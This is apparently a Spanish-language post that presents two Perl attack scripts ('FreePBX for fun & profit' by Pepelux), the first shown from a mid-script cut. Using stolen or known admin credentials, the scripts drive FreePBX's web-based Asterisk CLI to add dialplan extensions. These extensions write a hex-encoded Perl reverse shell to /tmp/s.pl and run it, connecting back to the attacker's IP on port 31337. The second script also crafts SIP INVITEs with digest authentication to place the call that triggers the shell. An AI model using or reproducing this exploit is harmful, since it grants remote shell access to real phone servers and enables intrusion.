$url =  "http://" . $host . "/admin/config.php?type=tool&display=cli";

if ($cli ne "") {
	my $res = asterisk_cli($cli);
	print "$res\n";
}

if ($create eq 1) {
	asterisk_cli($dreload);
	sleep(2);
	asterisk_cli($sc1);
	asterisk_cli($sc2);
	asterisk_cli($sc3);
	asterisk_cli($sc4);
	asterisk_cli($sc5);
	asterisk_cli($sc6);
	asterisk_cli($sc7);
	asterisk_cli($sc8);
	asterisk_cli($sc9);
	asterisk_cli($sc10);
	my $res = asterisk_cli($dshow);
	print "$res\n";
}

if ($execute eq 1) {
	asterisk_cli($dreload);
	sleep(2);
	asterisk_cli($se1);
	asterisk_cli($se2);
	asterisk_cli($se3);
	my $res = asterisk_cli($dshow);
	print "$res\n";
}

exit;

sub asterisk_cli {
	my $command = shift;

	@header = ('User-Agent' => $useragent, 'Cookie' => $cookie, 'Connection' => 'keep-alive', 'Keep-Alive' => '300',
		Content => [ txtCommand => $command ]);

	my $response = $ua->post($url, @header);
	my $result = $response->content;

	my	$x = index($result, "<pre>") + 5;
	my	$y = index($result, "</pre>");
	$result = substr($result, $x, $y-$x);

	return $result;
}

sub encode {
	my $data = shift;

	$data =~ s/3/\\\\x33/g;
	$data =~ s/1/\\\\x31/g;
	$data =~ s/2/\\\\x32/g;
	$data =~ s/4/\\\\x34/g;
	$data =~ s/5/\\\\x35/g;
	$data =~ s/6/\\\\x36/g;
	$data =~ s/7/\\\\x37/g;
	$data =~ s/8/\\\\x38/g;
	$data =~ s/9/\\\\x39/g;
	$data =~ s/\./\\\\x2e/g;

   return $data;
}

sub help {
	print qq{
:: FreePBX for fun & profit - by Pepelux ::
   -------------------------------------

Uso:  $0 -h <host> -u <user> -p <pass> [opciones]

    == Opciones ==
      -cli <commando>  = Ejecutar comando de Asterisk
      -cs              = Crear una shell
      -es              = Ejecutar una shell
      -ip              = Nuestra IP para la shell (para -cs)
      -port            = Puerto para la shell (por defecto: 31337)
      -ext             = Extension a crear (por defecto: 999)

    == Ejemplos ==
      $0 -h 192.168.1.1 -u admin -p 12345 -cli "sip show peers"
      $0 -h 192.168.1.1 -u admin -p 12345 -cs -ip 192.168.1.2 -port 31337
      $0 -h 192.168.1.1 -u admin -p 12345 -es
	};

	print "\n";
	exit 1;
}

Segundo script:

#!/usr/bin/perl
# -=-=-=-=-=-=-=-=-=-=-=-=
# FreePBX for fun & profit
# -=-=-=-=-=-=-=-=-=-=-=-=
#
# Jose Luis Verdeguer (Pepelux)
#
# Twitter: @pepeluxx
# Mail: pepeluxx[at]gmail.com
# Blog: blog.pepelux.org

use LWP::UserAgent;
use HTTP::Cookies;
use HTTP::Request::Common qw(POST);
use Getopt::Long;
use IO::Socket;
use NetAddr::IP;
use Getopt::Long;
use Digest::MD5;
#use LWP::Debug qw(+);

my $host = "";
my $user = "";
my $pass = "";
my $cli = "";
my $create = 0;
my $execute = 0;
my $ip = "";
my $port = "";
my $ext = "";
my $call = 0;
my $euser = "";
my $epass = "";
my $auto = 0;

print "\e[2J";
system(($^O eq 'MSWin32') ? 'cls' : 'clear');

my $result = GetOptions ("h=s" => \$host,
 "u=s" => \$user,
 "ip=s" => \$ip,
 "port=s" => \$port,
 "p=s" => \$pass,
 "cli=s" => \$cli,
 "ext=s" => \$ext,
 "call+" => \$call,
 "user=s" => \$euser,
 "pass=s" => \$epass,
 "cs+" => \$create,
 "es+" => \$execute,
 "auto+" => \$auto);

if ($host eq '' || $user eq '' || $pass eq '' || ($cli eq '' && $create eq 0 && $execute eq 0 && $auto eq 0)) { help(); exit 1; }
if ($cli ne '' && ($create eq 1 || $execute eq 1)) { help(); exit 1; }
if ($create eq 1 && $execute eq 1) { help(); exit 1; }
if ($create eq 1 && $ip eq "") { help(); exit 1; }
if ($call eq 1 && $ip eq "") { help(); exit 1; }

$port = "31337" if ($port eq "");
$ext = "999" if ($ext eq "");

if ($auto eq 1) {
 $create = 1;
 $execute = 1;
}

# Mostrar las extensiones
my $eshow = "sip show peers";
# Recargar el dialplan
my $dreload = "dialplan reload";
# Mostrar el dialplan de la extensión EXT
my $dshow = "dialplan show $ext\@ext-local";

my $origip = $ip;

$ip = encode($ip);
$port = encode($port);

# Comandos para crear una shell

# dialplan add extension EXT,1,answer, into ext-local
# dialplan add extension EXT,2,system,"echo -e 'use Socket; > /tmp/s.pl" into ext-local
# dialplan add extension EXT,3,system,"echo -e 'socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp")); >> /tmp/s.pl" into ext-local
# dialplan add extension EXT,4,system,"echo -e 'if(connect(S,sockaddr_in(PORT,inet_aton("IP")))){' >> /tmp/s.pl" into ext-local
# dialplan add extension EXT,5,system,"echo -e 'open(STDIN,">&S");' >> /tmp/s.pl" into ext-local
# dialplan add extension EXT,6,system,"echo -e 'open(STDOUT,">&S");' >> /tmp/s.pl" into ext-local
# dialplan add extension EXT,7,system,"echo -e 'open(STDERR,">&S");' >> /tmp/s.pl" into ext-local
# dialplan add extension EXT,8,system,"echo -e 'exec("/bin/bash -i");}' >> /tmp/s.pl" into ext-local
# dialplan add extension EXT,9,hangup, into ext-local

my $sc1 = "dialplan add extension $ext,1,answer, into ext-local";
my $sc2 = "dialplan add extension $ext,2,system,\"echo -e '\\\\x75\\\\x73\\\\x65\\\\x20\\\\x53\\\\x6f\\\\x63\\\\x6b\\\\x65\\\\x74\\\\x3b\\\\x0d\\\\x0a' > /tmp/s.pl\" into ext-local";
my $sc3 = "dialplan add extension $ext,3,system,\"echo -e '\\\\x73\\\\x6f\\\\x63\\\\x6b\\\\x65\\\\x74\\\\x28\\\\x53\\\\x2c\\\\x50\\\\x46\\\\x5f\\\\x49\\\\x4e\\\\x45\\\\x54\\\\x2c\\\\x53\\\\x4f\\\\x43\\\\x4b\\\\x5f\\\\x53\\\\x54\\\\x52\\\\x45\\\\x41\\\\x4d\\\\x2c\\\\x67\\\\x65\\\\x74\\\\x70\\\\x72\\\\x6f\\\\x74\\\\x6f\\\\x62\\\\x79\\\\x6e\\\\x61\\\\x6d\\\\x65\\\\x28\\\\x22\\\\x74\\\\x63\\\\x70\\\\x22\\\\x29\\\\x29\\\\x3b\\\\x0d\\\\x0a' >> /tmp/s.pl\" into ext-local";
my $sc4 = "dialplan add extension $ext,4,system,\"echo -e '\\\\x69\\\\x66\\\\x28\\\\x63\\\\x6f\\\\x6e\\\\x6e\\\\x65\\\\x63\\\\x74\\\\x28\\\\x53\\\\x2c\\\\x73\\\\x6f\\\\x63\\\\x6b\\\\x61\\\\x64\\\\x64\\\\x72\\\\x5f\\\\x69\\\\x6e\\\\x28$port\\\\x2c' >> /tmp/s.pl\" into ext-local";
my $sc5 = "dialplan add extension $ext,5,system,\"echo -e '\\\\x69\\\\x6e\\\\x65\\\\x74\\\\x5f\\\\x61\\\\x74\\\\x6f\\\\x6e\\\\x28\\\\x22$ip\\\\x22\\\\x29\\\\x29\\\\x29\\\\x29\\\\x7b\\\\x0d\\\\x0a' >> /tmp/s.pl\" into ext-local";
my $sc6 = "dialplan add extension $ext,6,system,\"echo -e '\\\\x6f\\\\x70\\\\x65\\\\x6e\\\\x28\\\\x53\\\\x54\\\\x44\\\\x49\\\\x4e\\\\x2c\\\\x22\\\\x3e\\\\x26\\\\x53\\\\x22\\\\x29\\\\x3b\\\\x0d\\\\x0a' >> /tmp/s.pl\" into ext-local";
my $sc7 = "dialplan add extension $ext,7,system,\"echo -e '\\\\x6f\\\\x70\\\\x65\\\\x6e\\\\x28\\\\x53\\\\x54\\\\x44\\\\x4f\\\\x55\\\\x54\\\\x2c\\\\x22\\\\x3e\\\\x26\\\\x53\\\\x22\\\\x29\\\\x3b\\\\x0d\\\\x0a' >> /tmp/s.pl\" into ext-local";
my $sc8 = "dialplan add extension $ext,8,system,\"echo -e '\\\\x6f\\\\x70\\\\x65\\\\x6e\\\\x28\\\\x53\\\\x54\\\\x44\\\\x45\\\\x52\\\\x52\\\\x2c\\\\x22\\\\x3e\\\\x26\\\\x53\\\\x22\\\\x29\\\\x3b\\\\x0d\\\\x0a' >> /tmp/s.pl\" into ext-local";
my $sc9 = "dialplan add extension $ext,9,system,\"echo -e '\\\\x65\\\\x78\\\\x65\\\\x63\\\\x28\\\\x22\\\\x2f\\\\x62\\\\x69\\\\x6e\\\\x2f\\\\x73\\\\x68\\\\x20\\\\x2d\\\\x69\\\\x22\\\\x29\\\\x3b\\\\x7d\\\\x0d\\\\x0a' >> /tmp/s.pl\" into ext-local";
my $sc10 = "dialplan add extension $ext,10,hangup, into ext-local";

# Comandos para ejecutar la shell

# dialplan add extension EXT,1,answer, into ext-local
# dialplan add extension EXT,2,system,"perl /tmp/s.pl" into ext-local
# dialplan add extension EXT,3,hangup, into ext-local

my $se1 = "dialplan add extension $ext,1,answer, into ext-local";
my $se2 = "dialplan add extension $ext,2,system,\"perl /tmp/s.pl\" into ext-local";
my $se3 = "dialplan add extension $ext,3,hangup, into ext-local";

my $url = "http://" . $host . "/admin/config.php";

my $ua = LWP::UserAgent->new;
my $cookie_jar = HTTP::Cookies->new();
$ua->cookie_jar($cookie_jar);

my $useragent = 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008072820 Firefox/3.0.1';
my @header = ('User-Agent' => $useragent, 'Cookie' => $cookie, 'Connection' => 'keep-alive', 'Keep-Alive' => '300',
 Content => [ username => $user, password => $pass, submit => 'Login' ]);

my $response = $ua->post($url, @header);

$cookie_jar->extract_cookies($response);
my $cookie = $cookie_jar->as_string;

$cookie =~ /\:\s(PHPSESSID=[a-z|A-Z|0-9]+)\;/;
$cookie = $1;

$url = "http://" . $host . "/admin/config.php?type=tool&display=cli";

if ($cli ne "") {
 my $res = asterisk_cli($cli);
 print "$res\n";
}

if ($create eq 1) {
 asterisk_cli($dreload);
 sleep(2);
 asterisk_cli($sc1);
 asterisk_cli($sc2);
 asterisk_cli($sc3);
 asterisk_cli($sc4);
 asterisk_cli($sc5);
 asterisk_cli($sc6);
 asterisk_cli($sc7);
 asterisk_cli($sc8);
 asterisk_cli($sc9);
 asterisk_cli($sc10);
 my $res = asterisk_cli($dshow);
 print "$res\n";

 if ($call eq 1) {
 sleep(5);
 invite($ext, $host, "5060", $origip, $euser, $epass);
 sleep(3);
 }
}

if ($execute eq 1) {
 asterisk_cli($dreload);
 sleep(2);
 asterisk_cli($se1);
 asterisk_cli($se2);
 asterisk_cli($se3);
 my $res = asterisk_cli($dshow);
 print "$res\n";

 if ($call eq 1) {
 sleep(5);
 invite($ext, $host, "5060", $origip, $euser, $epass);
 sleep(3);
 }
}

exit;

sub asterisk_cli {
 my $command = shift;

 @header = ('User-Agent' => $useragent, 'Cookie' => $cookie, 'Connection' => 'keep-alive', 'Keep-Alive' => '300',
 Content => [ txtCommand => $command ]);

 my $response = $ua->post($url, @header);
 my $result = $response->content;

 my $x = index($result, "<pre>") + 5;
 my $y = index($result, "</pre>");
 $result = substr($result, $x, $y-$x);

 return $result;
}

sub encode {
 my $data = shift;

 $data =~ s/3/\\\\x33/g;
 $data =~ s/1/\\\\x31/g;
 $data =~ s/2/\\\\x32/g;
 $data =~ s/4/\\\\x34/g;
 $data =~ s/5/\\\\x35/g;
 $data =~ s/6/\\\\x36/g;
 $data =~ s/7/\\\\x37/g;
 $data =~ s/8/\\\\x38/g;
 $data =~ s/9/\\\\x39/g;
 $data =~ s/\./\\\\x2e/g;

 return $data;
}

sub invite {
 my $tfno = shift;
 my $astip = shift;
 my $nport = shift;
 my $myip = shift;
 my $user = shift;
 my $pass = shift;

 print "\nRealizando llamada ... \n\n";

 my $sc = new IO::Socket::INET->new(PeerPort=>$nport, Proto=>'udp', PeerAddr=>$astip, Timeout => 2);

 my $lport = $sc->sockport();

 my $branch = &generate_random_string(71, 0);
 my $callerid = &generate_random_string(32, 1);

 my $msg = "INVITE sip:".$tfno."@".$astip.";transport=UDP SIP/2.0\n";
 $msg .= "Via: SIP/2.0/UDP $myip:$lport;branch=z9hG4bK-d8754z-f19dea05177804a6-1---d8754z-\n";
 $msg .= "Max-Forwards: 70\n";
 $msg .= "Contact: <sip:".$user."@".$myip.":$lport;transport=UDP>\n";
 $msg .= "To: <sip:".$tfno."@".$astip.";transport=UDP>\n";
 $msg .= "From: \"$user\"<sip:".$user."@".$astip.";transport=UDP>;tag=131bbb29\n";
 $msg .= "Call-ID: NDIzMTc2YzAzYWU4ZWE5YWYxYTRiMzQzNTk0MDBlZGQ.\n";
 $msg .= "CSeq: 1 INVITE\n";
 $msg .= "Allow: INVITE, ACK, CANCEL, BYE, NOTIFY, REFER, MESSAGE, OPTIONS, INFO, SUBSCRIBE\n";
 $msg .= "Content-Type: application/sdp\n";
 $msg .= "Supported: replaces, norefersub, extended-refer, X-cisco-serviceuri\n";
 $msg .= "User-Agent: Zoiper rev.11619\n";
 $msg .= "Allow-Events: presence, kpml\n";
 $msg .= "Content-Length: 181\n\n";

 $msg .= "v=0\n";
 $msg .= "o=Z 0 0 IN IP4 $myip\n";
 $msg .= "s=Z\n";
 $msg .= "c=IN IP4 $myip\n";
 $msg .= "t=0 0\n";
 $msg .= "m=audio 8000 RTP/AVP 0 101\n";
 $msg .= "a=rtpmap:0 PCMU/8000\n";
 $msg .= "a=rtpmap:101 telephone-event/8000\n";
 $msg .= "a=fmtp:101 0-15\n";
 $msg .= "a=sendrecv\n\n";

 print $sc $msg;

 print "\nSending:\n=======\n$msg\n\n" if ($v eq 1);

 my $nonce = "";
 my $realm = "";
 my $data = "";

 LOOP: {
 while (<$sc>) {
 my $line = $_;

 if ($line =~ /nonce/ && $nonce eq "") {
 $line =~ /nonce\=\"(\w+)\"/i;

 if ($1) {
 $nonce = $1;
 }
 }

 if ($line =~ /realm/ && $realm eq "") {
 $line =~ /realm\=\"(\w+)\"/i;

 if ($1) {
 $realm = $1;
 }
 }

 $data .= $line;

 if ($line =~ /^\r\n/) {
 last LOOP;
 }
 }
 }

 if ($data ne "") {
 print "\nReceiving:\n=========\n$data\n\n" if ($v eq 1);

 $msg = "ACK sip:".$tfno."@".$astip.";transport=UDP SIP/2.0\n";
 $msg .= "Via: SIP/2.0/UDP $myip:$lport;branch=z9hG4bK-d8754z-f19dea05177804a6-1---d8754z-\n";
 $msg .= "Max-Forwards: 70\n";
 $msg .= "To: <sip:".$tfno."@".$astip.";transport=UDP>;tag=as66051ead\n";
 $msg .= "From: \"$user\"<sip:".$user."@".$astip.";transport=UDP>;tag=131bbb29\n";
 $msg .= "Call-ID: NDIzMTc2YzAzYWU4ZWE5YWYxYTRiMzQzNTk0MDBlZGQ.\n";
 $msg .= "CSeq: 1 ACK\n";
 $msg .= "Content-Length: 0\n\n";

 print $sc $msg;

 print "\nSending:\n=======\n$msg\n\n" if ($v eq 1);

 $branch = &generate_random_string(71, 0);

 my $md5 = Digest::MD5->new;
 $md5->add($user, ':', $realm, ':', $pass);
 my $HXA = $md5->hexdigest;
 my $uri = "sip:".$tfno."@".$astip.";transport=UDP";

 $md5 = Digest::MD5->new;
 $md5->add('INVITE', ':', $uri);
 my $HXB = $md5->hexdigest;

 $md5 = Digest::MD5->new;
 $md5->add($HXA, ':', $nonce, ':', $HXB);
 my $response = $md5->hexdigest;

 $msg = "INVITE sip:".$tfno."@".$astip.";transport=UDP SIP/2.0\n";
 $msg .= "Via: SIP/2.0/UDP $myip:$lport;branch=z9hG4bK-d8754z-e400a1db44b6e0b7-1---d8754z-\n";
 $msg .= "Max-Forwards: 70\n";
 $msg .= "Contact: <sip:".$user."@".$myip.":$lport;transport=UDP>\n";
 $msg .= "To: <sip:".$tfno."@".$astip.";transport=UDP>\n";
 $msg .= "From: \"$user\"<sip:".$user."@".$astip.";transport=UDP>;tag=131bbb29\n";
 $msg .= "Call-ID: NDIzMTc2YzAzYWU4ZWE5YWYxYTRiMzQzNTk0MDBlZGQ.\n";
 $msg .= "CSeq: 2 INVITE\n";
 $msg .= "Allow: INVITE, ACK, CANCEL, BYE, NOTIFY, REFER, MESSAGE, OPTIONS, INFO, SUBSCRIBE\n";
 $msg .= "Content-Type: application/sdp\n";
 $msg .= "Supported: replaces, norefersub, extended-refer, X-cisco-serviceuri\n";
 $msg .= "User-Agent: Zoiper rev.11619\n";
 $msg .= "Authorization: Digest username=\"$user\",realm=\"$realm\",nonce=\"$nonce\",uri=\"$uri\",response=\"$response\",algorithm=MD5\n";
 $msg .= "Allow-Events: presence, kpml\n";
 $msg .= "Content-Length: 181\n\n";

 $msg .= "v=0\n";
 $msg .= "o=Z 0 0 IN IP4 $myip\n";
 $msg .= "s=Z\n";
 $msg .= "c=IN IP4 $myip\n";
 $msg .= "t=0 0\n";
 $msg .= "m=audio 8000 RTP/AVP 0 101\n";
 $msg .= "a=rtpmap:0 PCMU/8000\n";
 $msg .= "a=rtpmap:101 telephone-event/8000\n";
 $msg .= "a=fmtp:101 0-15\n";
 $msg .= "a=sendrecv\n\n";

 print $sc $msg;

 print "Sending:\n=======\n$msg\n\n" if ($v eq 1);

 $data = "";
 my $server = "";

 LOOP: {
 while (<$sc>) {
 my $line = $_;

 if ($line =~ /[Ss]erver/ && $server eq "") {
 $line =~ /[Ss]erver\:\s(.+)\r\n/;

 if ($1) {
 $server = $1;
 }
 }

 $data .= $line;

 if ($line =~ /^\r\n/) {
 last LOOP;
 }
 }
 }

 if ($v eq 1) {
 print "\nReceiving:\n=========\n$data\n\n";
 }

 my $dhost = "$astip:$nport";
 $dhost .= "\t" if (length($dhost) < 10);
 $server = "Unknown" if ($server eq "");
 }

 print "Llamada finalizada \n\n";
}

sub generate_random_string {
 my $length_of_randomstring = shift;
 my $only_hex = shift;
 my @chars;

 if ($only_hex == 0) {
 @chars = ('a'..'z','0'..'9');
 }
 else {
 @chars = ('a'..'f','0'..'9');
 }
 my $random_string;
 foreach (1..$length_of_randomstring) {
 $random_string.=$chars[rand @chars];
 }
 return $random_string;
}

sub help {
 print qq{
:: FreePBX for fun & profit - by Pepelux ::
 -------------------------------------

Uso: $0 -h <host> -u <user> -p <pass> [opciones]

 == Opciones ==
 -cli <commando> = Ejecutar comando de Asterisk
 -cs = Crear una shell
 -es = Ejecutar una shell
 -auto = Crea y ejecuta una shell
 -ip = Nuestra IP para la shell (para -cs y -call)
 -port = Puerto para la shell (por defecto: 31337)
 -ext = Extension a crear (por defecto: 999)
 -call = Realizar llamada tras la inyeccion
 -user = Usuario de nuestra extension
 -pass = Password de nuestra extension

 == Ejemplos ==
 $0 -h 192.168.1.1 -u admin -p 12345 -cli "sip show peers"
 $0 -h 192.168.1.1 -u admin -p 12345 -cs -ip 192.168.1.2 -call -user 206 -pass 1234
 $0 -h 192.168.1.1 -u admin -p 12345 -es -ip 192.168.1.2 -call -user 206 -pass 1234
 $0 -h 192.168.1.1 -u admin -p 12345 -auto -ip 192.168.1.2 -call -user 206 -pass 1234
 };

 print "\n";
 exit 1;
}

Saludos!